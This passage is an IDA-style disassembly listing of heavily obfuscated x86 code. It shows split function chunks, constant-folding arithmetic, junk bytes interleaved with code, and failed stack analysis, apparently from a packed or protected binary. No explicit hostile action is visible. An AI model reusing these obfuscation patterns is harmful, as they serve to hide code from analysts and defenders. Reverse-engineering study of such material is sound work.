; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C84D

loc_48A736:				; CODE XREF: sub_48C84D-1D77j
		jmp	loc_48CAC7
; END OF FUNCTION CHUNK	FOR sub_48C84D
; ---------------------------------------------------------------------------
		align 4
		dd 0FFD39EE9h, 0AAF981FFh, 0E95CE51Bh, 0FFFFFA99h, 3E90C681h
		dd 368BD219h, 68243487h, 48945Bh, 0FFCE20E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48A762:				; CODE XREF: sub_48AD01+D29j
		jno	loc_48B74B
		and	esi, ebx
		xchg	edx, [esp-0Ch+arg_8]
		pop	edx
		or	edx, edx
		jz	loc_48B4B0
		jmp	loc_48B34F
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_427. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48A77E:				; CODE XREF: sub_48899B+3527j
		jmp	loc_489F38
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_48A785	db 50h,	8Bh, 0C7h	; DATA XREF: sub_487C3C:loc_489F69o
		dd 0BF240487h, 4880E1h,	0FFF534E9h, 680000FFh, 48C59Dh
		dd 0FFEB2DE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48A7A3:				; CODE XREF: dy9cvewz:00487794j
					; sub_48B3BA-1CD3j
		call	sub_4897A6
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A96C

loc_48A7AA:				; CODE XREF: sub_48A96C+Aj
		jmp	loc_48877E
; END OF FUNCTION CHUNK	FOR sub_48A96C
; ---------------------------------------------------------------------------
		align 10h
		dd 243C8700h, 1768565Fh, 5E098D08h, 7EDE9h ; CODE XREF:	dy9cvewz:0048B45Ap
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48A7C2:				; DATA XREF: sub_48899B:loc_488FAAo
		push	18B977B8h
		pop	ecx
		sub	ecx, 0B3D3365Ah
		cmp	ecx, 71A0D8A8h
		jmp	loc_48C3E3
; ---------------------------------------------------------------------------
		align 2

loc_48A7DA:				; CODE XREF: dy9cvewz:00487C6Cj
		jno	near ptr dword_487B98+32h
		jl	loc_4896DF
		xor	ebx, 0FEBFFEFFh
		xchg	ebx, [esp]
		call	sub_4881C3
; ---------------------------------------------------------------------------
		dd 17E90000h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_48A7FB:				; CODE XREF: dy9cvewz:004880B2j
		jl	loc_488C5A
		add	cl, ch
		dec	esp
		out	dx, eax
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
		dd 94ED8100h, 0E9A23F22h, 0FFFFE43Eh, 0F58A0F00h, 0E9FFFFCDh
		dd 211Ah, 870ECDC1h, 0C1F813EFh, 0C0811DC0h, 871B89DEh
		dd 2229E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_48A836:				; CODE XREF: sub_48AAB3:loc_48CB65j
		jnz	loc_489C1E
		jmp	loc_48890D
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [ebx],	9
		pop	ebx
		pop	ebx
		xor	ebx, 2E70B9C4h
		cmp	ebx, 192952A9h
		jmp	loc_48C476
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd offset byte_48AC4D
; ---------------------------------------------------------------------------
		jmp	locret_48AC4A
; ---------------------------------------------------------------------------
		align 2
		dw 0C87h
; ---------------------------------------------------------------------------
		and	al, 8Bh
		rcr	dword ptr [ecx-7Fh], 1
		retn	8041h
; ---------------------------------------------------------------------------
		dd 8BE9CDF4h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48A877:				; CODE XREF: dy9cvewz:loc_48A59Dj
		mov	ebx, ecx
		xchg	ebx, [esp]
		call	sub_48C58E
		add	cl, ch
		retn
; ---------------------------------------------------------------------------
		dd 0Eh
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_543. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_531. PRESS KEYPAD	"+" TO EXPAND]
		dd 70E231E9h, 8B241C87h, 0E0815BC3h, 1AF08488h,	0FFDD12E9h
		dd 850000FFh, 4E7E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48A8AA:				; CODE XREF: sub_487CB5+3EE4j
		push	offset byte_48C201
		jmp	nullsub_441
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		dd 24048700h, 24148758h, 8B243C87h, 0DC8AE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48A8C6:				; CODE XREF: dy9cvewz:0048A3C0j
		xchg	ecx, [esp]
		mov	eax, 488C18h
		jmp	loc_487834
; ---------------------------------------------------------------------------
		pop	eax
		and	eax, 62B40D01h
		add	eax, 9FB8BBD5h
		xchg	eax, [esp]
		jmp	loc_48A3A8
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48A8EA	proc near		; CODE XREF: dy9cvewz:loc_48AE5Dp

; FUNCTION CHUNK AT 0048A443 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B8FE SIZE 0000000C BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [esi],	8Bh
		pop	esi
		add	eax, 480AF002h
		jmp	loc_48A443
sub_48A8EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AE49

loc_48A8FD:				; CODE XREF: sub_48AE49+500j
		push	edi
		push	0AFEAEBFEh
		pop	edi
		xor	edi, 0B6B15632h
		jmp	loc_48A2CD
; END OF FUNCTION CHUNK	FOR sub_48AE49
; ---------------------------------------------------------------------------
		align 10h

locret_48A910:				; CODE XREF: dy9cvewz:0048A371j
		retn
; ---------------------------------------------------------------------------
		db 64h,	8Fh, 5
		align 8
		dd 489C4168h, 0F4AFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48A922:				; CODE XREF: dy9cvewz:loc_48BA55j
		push	9043EC45h
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		sub	eax, 9287C14Ah
		add	eax, 28879D1h
		jmp	loc_48933E
; ---------------------------------------------------------------------------
		dw 0E856h
		dd 3E4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488AE9

loc_48A945:				; CODE XREF: sub_488AE9:loc_48848Cj
		push	0F6DB09E8h
		pop	edx
		add	edx, 4600E3A1h
		sub	edx, 0D3C597EEh
		jmp	loc_48BEED
; END OF FUNCTION CHUNK	FOR sub_488AE9
; ---------------------------------------------------------------------------
		dd 0FC810F00h, 8BFFFFCFh, 2E9E9h
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_541. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_48A96C	proc near		; CODE XREF: dy9cvewz:004887B6p

; FUNCTION CHUNK AT 0048877E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0048912E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A7AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B2AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048BED7 SIZE 00000016 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0B070BDFAh
		pop	eax
		jmp	loc_48A7AA
sub_48A96C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 24048700h, 0FFD691E9h, 0C300FFh, 5FFE900h, 16E80000h
		dd 2
dword_48A994	dd 9D63EE68h, 0EE815EF0h, 0D7722625h, 2C29E681h, 0FE818E17h
					; DATA XREF: sub_48B8AB+10o
		dd 7F9B2643h, 0FFD5B2E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_48C012

loc_48A9B2:				; CODE XREF: sub_48C012:loc_48C01Cj
		mov	byte ptr [eax],	9Dh
		pop	eax
		mov	eax, large fs:18h
		call	sub_48A700
		add	cl, ch
		sub	[eax+eax], edx
; END OF FUNCTION CHUNK	FOR sub_48C012
; ---------------------------------------------------------------------------
		db 0
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48A9CA:				; CODE XREF: sub_48AD01+B5Dj
		jmp	nullsub_431
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------

loc_48A9D1:				; CODE XREF: dy9cvewz:0048868Cj
		jmp	locret_48AEBA
; ---------------------------------------------------------------------------
		align 4

loc_48A9D8:				; CODE XREF: dy9cvewz:0048796Bj
		jmp	loc_4891B1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
; ---------------------------------------------------------------------------
		retn	0BF95h
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0D021E97Ch, 0FFFFh, 48A91168h, 0F4C2E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_48A9F7:				; CODE XREF: dy9cvewz:loc_488EBCj
		mov	byte ptr [edx],	9
		pop	edx
		mov	eax, cs
		xor	al, al

loc_48A9FF:				; DATA XREF: dy9cvewz:0048B89Fo
		or	eax, eax
		jz	loc_488824
		push	ebx
		mov	ebx, edx
		jmp	loc_48C7C6
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488EA0

loc_48AA11:				; CODE XREF: sub_488EA0+Cj
		or	ecx, 8A467262h
		sub	ecx, 0D043C5B7h
		xor	ecx, 40504DC6h
		add	eax, ecx
		pop	ecx
		push	offset loc_489B5E
		jmp	nullsub_536
; END OF FUNCTION CHUNK	FOR sub_488EA0
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_48AA32	dw 128Bh		; DATA XREF: sub_48BB9F+12Fo
		dd 0A43C2AF6h, 14E3850Fh, 840F0000h, 16D8h, 0FFE090E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_48AA4B:				; CODE XREF: dy9cvewz:00488C69j
		jz	loc_488146
; START	OF FUNCTION CHUNK FOR sub_489481

loc_48AA51:				; CODE XREF: sub_489481-12C5j
		jmp	loc_48894B
; END OF FUNCTION CHUNK	FOR sub_489481
; ---------------------------------------------------------------------------
		dw 0F700h
		dd 0D0F1B6C5h, 1B5E9C7h, 8B000000h, 0BA6859F1h,	0E9004884h
		dd 0FFFFCCAAh, 800F0000h, 0FFFFDB8Dh, 3DB06856h, 5756D138h
		dd 48C723BFh, 665E900h,	0
; ---------------------------------------------------------------------------
		push	0DE91B4B7h
		push	ebx
		push	27FC1BC8h
		pop	ebx
		add	ebx, 0F8EA0F9Fh
		jmp	loc_48C1D4
; ---------------------------------------------------------------------------
		align 4
		dd 5AF98100h, 0E9FD57A9h, 0FFFFE669h
		db 2 dup(0), 99h

; =============== S U B	R O U T	I N E =======================================



sub_48AAB3	proc near		; CODE XREF: dy9cvewz:loc_48C38Ep

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004874F5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0048890D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00489C1E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00489D79 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048A836 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048B3D2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0048B886 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C676 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048CB5E SIZE 0000000C BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edi, [esp+0]
		jmp	loc_48B886
sub_48AAB3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_48C84D

loc_48AAC0:				; CODE XREF: sub_48C84D:loc_4874A2j
		mov	byte ptr [edx],	87h
		pop	edx
		xchg	ecx, [esp+4+var_4]
		mov	ebp, esp
		call	sub_48C782
		add	bl, al

loc_48AAD0:				; CODE XREF: sub_488E53:loc_48826Aj
		add	byte ptr ds:loc_488A2D[edi], bh
		jmp	loc_48A736
; END OF FUNCTION CHUNK	FOR sub_48C84D
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_48AADC:				; CODE XREF: sub_488FD4:loc_487C28j
		call	sub_48BE85
		mov	byte ptr [edi],	87h
		pop	edi
		add	ebx, 0C1EDD1BCh
		popf
		xchg	eax, ecx
		sbb	al, 24h
		jmp	sub_488FD4	; CODE XREF: sub_48AD01-192j
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		dd 0FFFBDBE9h, 0E90000FFh, 1F8Eh
; ---------------------------------------------------------------------------

loc_48AB00:				; CODE XREF: dy9cvewz:loc_48A3A8j
		push	eax
		push	8128A66Fh
		jmp	loc_48CA87
; ---------------------------------------------------------------------------
		align 4
		dd 81FD0300h, 0A2C11BC7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48AB14:				; CODE XREF: sub_48AD01-194j
		push	ds
		mov	[edi], eax
		pop	edi
		jmp	loc_48916F
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 2
		dw 3CE0h
		dd 747D6824h, 4DE90048h, 0FFFFD6h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_429. PRESS KEYPAD	"+" TO EXPAND]
		db 68h,	2Ah, 0A2h
; ---------------------------------------------------------------------------
		dec	eax
		add	cl, ch
		nop
		sar	edi, cl
		inc	dword ptr [eax]

locret_48AB38:				; CODE XREF: dy9cvewz:0048A646j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48AB3B:				; CODE XREF: sub_48BB9F-334Fj
		jmp	loc_48C525
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		dd 240C8700h, 74685659h, 5EE29A6Ah, 4C76CE81h, 0B5E93594h
		dd 0FFFFCFh
		db 0
; ---------------------------------------------------------------------------

loc_48AB59:				; CODE XREF: dy9cvewz:0048A721j
		xchg	edx, [esp]
		push	48A48Ah
		jmp	locret_48AEA6
; ---------------------------------------------------------------------------
byte_48AB66	db 0C6h			; CODE XREF: dy9cvewz:0048B45Fj
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48AB67:				; CODE XREF: sub_48AD01-172j
		add	ebx, [ebp+35C8815Bh]
		loope	loc_48AB14
		jl	short near ptr loc_48AAEF+3
		loopne	loc_48ABBD
		insd
		in	eax, dx
		insb
		xor	eax, 6CE5696Ah
		call	sub_48829D
		add	cl, ch		; CODE XREF: dy9cvewz:0048BC81j
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 0F0h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48AB87:				; CODE XREF: sub_48AD01:loc_489F5Cj
		jnz	loc_48C984
		add	cl, ch
		jb	short loc_48AB67
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
		dd 838C0F00h, 0F7FFFFFBh, 631E9CC1h, 1DD8E927h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_556. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 24348700h, 4E058D5Eh, 560048A4h, 3DE9F18Bh
; ---------------------------------------------------------------------------
		sar	edi, cl

loc_48ABBA:				; CODE XREF: sub_48AD01:loc_487827j
		jmp	fword ptr [eax-1Ch]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48ABBD:				; CODE XREF: sub_48AD01-190j
		lds	ecx, [eax+0]
		jmp	loc_4895B2
; END OF FUNCTION CHUNK	FOR sub_48AD01
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_431. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 0FFDFC4E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BE85

loc_48ABCD:				; CODE XREF: sub_48BE85:loc_4886FAj
		popf
		xchg	esi, [esp+0]
		jmp	nullsub_528
; END OF FUNCTION CHUNK	FOR sub_48BE85
; ---------------------------------------------------------------------------
		align 4
		dd 0A4FCDE81h, 3C87A5FCh, 8B5F24h, 42E9EA56h, 0FFFFFE2h
		dd 2A68Eh, 0CE95E900h, 0E800FFFFh, 0FFFFF3ECh, 0C30000h
		dd 5A6FC081h, 0C057B76Dh, 43484C68h, 240C87ACh,	0FFE1D7E9h
		dd 0F0000FFh, 0FFE8A289h, 0F5F381FFh, 99702C2Dh, 67B0C3F7h
		dd 0ACE9E1B2h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48AC2F:				; CODE XREF: sub_487CB5:loc_48B248j
		add	esi, 4DC12B6Fh
		rol	esi, 0Eh
		xor	esi, 49103849h
		add	esi, 90CA2907h
		jmp	loc_488ECD
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		align 2

locret_48AC4A:				; CODE XREF: dy9cvewz:0048A860j
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_48AC4D	db 0C6h, 1, 0C3h	; DATA XREF: dy9cvewz:0048A85Co
		dd 0E0D0E859h, 0FFFFh, 0FFE254E9h, 65D281FFh, 0E994FB24h
		dd 8B4h
		db 0
; ---------------------------------------------------------------------------

loc_48AC69:				; CODE XREF: dy9cvewz:00487BFFj
		into
		mov	edi, offset word_48C07A
		jmp	loc_488F48
; ---------------------------------------------------------------------------
		dd 60680000h, 580C29F7h, 84D6E881h, 0E0812474h,	7997FE4h
		dd 0DD90E881h, 4C68317Eh, 0E9004879h, 0FFFFE761h, 948CBA52h
		dd 54E90048h, 0FFFFFFh
; ---------------------------------------------------------------------------

loc_48ACA4:				; CODE XREF: dy9cvewz:00489C69j
		and	eax, 368E9D89h
		add	eax, 0C9E9EE93h
		add	eax, ebp
		push	offset byte_48C1C1
		jmp	loc_48A24D
; ---------------------------------------------------------------------------

loc_48ACBC:				; CODE XREF: dy9cvewz:00489ED7j
					; DATA XREF: sub_488FD4:loc_489ECDo
		push	0E52DB23h
		pop	edi
		add	edi, 0D86DB23h
		xor	edi, 0FA8488A7h
		jmp	near ptr byte_488775+2
; ---------------------------------------------------------------------------
		align 4
		dd 3BFF8100h, 0E9BAF992h, 78h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD5E

loc_48ACE1:				; CODE XREF: sub_48AD5E+Fj
		popf
		push	offset loc_487B90
		jmp	loc_489F1D
; END OF FUNCTION CHUNK	FOR sub_48AD5E
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48ACED	proc near		; CODE XREF: sub_48B011-11E6p

; FUNCTION CHUNK AT 004876D9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0048A624 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B1B5 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		jmp	loc_48B1B5
sub_48ACED	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jge	locret_48C58B

; =============== S U B	R O U T	I N E =======================================



sub_48AD01	proc near		; CODE XREF: sub_48CA79+9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

; FUNCTION CHUNK AT 00487827 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00487FD3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0048820F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00488556 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0048916F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048954D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004895B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004897D2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00489B97 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00489D37 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00489EF5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00489F16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00489F5C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A762 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0048A9CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048AB14 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0048AB67 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0048AB87 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048ABBD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0048B305 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0048B34F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048B4B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B69B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0048B74B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0048B84A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0048BA28 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0048BE72 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048C80F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0048C984 SIZE 0000000E BYTES

		xchg	esi, dword ptr [esp-10h+arg_C]
		pop	esi
		lea	eax, word_48742E
		push	edx
		jmp	loc_48B305
sub_48AD01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489481

loc_48AD11:				; CODE XREF: sub_489481-11j
		and	eax, 0A1A116B4h
		sub	eax, 999762F8h
		call	sub_48BDD1
		jg	loc_4881A3
; END OF FUNCTION CHUNK	FOR sub_489481

; =============== S U B	R O U T	I N E =======================================



sub_48AD28	proc near
		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		jmp	loc_48A59D
sub_48AD28	endp

; ---------------------------------------------------------------------------
		dw 0F00h
		dd 7CB88h, 15E28100h, 0E9B79EAEh, 108Dh
		db 0
; ---------------------------------------------------------------------------

locret_48AD45:				; CODE XREF: dy9cvewz:00488415j
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_48B1FA

loc_48AD48:				; CODE XREF: sub_48B1FA-C86j
		jmp	nullsub_531
; END OF FUNCTION CHUNK	FOR sub_48B1FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C24E

loc_48AD4D:				; CODE XREF: sub_48C24E-3D9Bj
		jmp	nullsub_532
; END OF FUNCTION CHUNK	FOR sub_48C24E
; ---------------------------------------------------------------------------

loc_48AD52:				; CODE XREF: dy9cvewz:00488454j
		jmp	loc_488DD7
; ---------------------------------------------------------------------------
		align 4
		jb	loc_48B41E

; =============== S U B	R O U T	I N E =======================================



sub_48AD5E	proc near		; CODE XREF: sub_48ADB5:loc_487785p

; FUNCTION CHUNK AT 00489F1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048ACE1 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		add	ebx, 0FD2E57B4h
		jmp	loc_48ACE1
sub_48AD5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_48AD72:				; CODE XREF: dy9cvewz:00488448j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFF799E9h, 870000FFh, 685A2414h, 48B0C7h, 0FFE727E9h
		dd 66E99CFFh, 0FFFFEFh,	0DA870F00h, 0F7000009h,	0E226E9D5h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_48AD9F:				; CODE XREF: dy9cvewz:004879C9j
		mov	byte ptr [ecx],	9Ch
		pop	ecx
		push	546D7F07h
		pop	eax
		add	eax, 1888E993h
		jnb	loc_48BB50

; =============== S U B	R O U T	I N E =======================================



sub_48ADB5	proc near		; CODE XREF: dy9cvewz:0048909Ej
					; dy9cvewz:loc_48A13Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00487785 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048961E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		pushf
		push	0CF109AF5h
		pop	ebx
		xor	ebx, 0CC0AB910h
		jmp	loc_48961E
sub_48ADB5	endp

; ---------------------------------------------------------------------------
		dw 0C081h
		dd 0E7591F61h, 0FFF8E6E8h, 44EE9FFh
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48ADDF	proc near		; DATA XREF: dy9cvewz:00487555o

; FUNCTION CHUNK AT 0048840A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048932E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C693 SIZE 00000006 BYTES

		push	ebx
		push	9F912CB8h
		pop	ebx
		sub	ebx, 78EDBE66h
		rol	ebx, 1Eh
		add	ebx, 54897D0Eh
		xor	ebx, 6C1E59E2h
		add	edi, ebx
		jmp	loc_48932E
sub_48ADDF	endp

; ---------------------------------------------------------------------------
		align 4
		dd 90A0D181h, 0A3E9C3A8h, 0FFFFFCh
; ---------------------------------------------------------------------------

loc_48AE10:				; CODE XREF: dy9cvewz:loc_488C9Cj
					; dy9cvewz:loc_48C388j
		push	0BC826794h
		pop	ecx
		or	ecx, 3A2C9E18h
		and	ecx, 2E2EC703h
		add	ecx, 3CD408B8h
		sub	ecx, 868C1B9Ch
		add	ecx, 1BD1F84Dh
		jmp	loc_488A26
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 0A0685AFAh, 0E90048A6h, 0FFFFD7F3h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48AE49	proc near		; CODE XREF: sub_48AAB3-D34p

; FUNCTION CHUNK AT 004877F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048793B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00487ECF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0048A212 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A2CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A8FD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0048B338 SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	dword ptr [ebp-10h], 79726575h
		xor	eax, eax
		push	esi
		jmp	loc_4877F6
sub_48AE49	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48AE5D:				; CODE XREF: dy9cvewz:loc_488C20j
		call	sub_48A8EA
; START	OF FUNCTION CHUNK FOR sub_48BB00

loc_48AE62:				; CODE XREF: sub_48BB00+Aj
		xor	ecx, 60660457h
		sub	ecx, 42A7594Ah
		call	sub_48BD2A
; END OF FUNCTION CHUNK	FOR sub_48BB00

; =============== S U B	R O U T	I N E =======================================



sub_48AE73	proc near		; CODE XREF: dy9cvewz:004899D2p

; FUNCTION CHUNK AT 004877BC SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_4877BC
sub_48AE73	endp

; ---------------------------------------------------------------------------
		dw 0D158h
		dd 45F081C0h, 57DD33E6h, 0AB2E8h, 0CD2EE900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48AE97:				; CODE XREF: sub_48BB9F-19F5j
		jmp	loc_48AEF6
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48AE9F:				; CODE XREF: dy9cvewz:0048BB55j
		jmp	locret_48C0F5
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_48AEA6:				; CODE XREF: dy9cvewz:0048AB61j
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48AEA9:				; CODE XREF: dy9cvewz:00488842j
		sbb	eax, ecx
		not	ebp
		push	ebp
		jl	loc_4880EB
		jmp	loc_489291
; ---------------------------------------------------------------------------
		align 2

locret_48AEBA:				; CODE XREF: dy9cvewz:loc_48A9D1j
		retn
; ---------------------------------------------------------------------------
		align 4

loc_48AEBC:				; CODE XREF: dy9cvewz:00489F31j
		cmp	ebp, edx
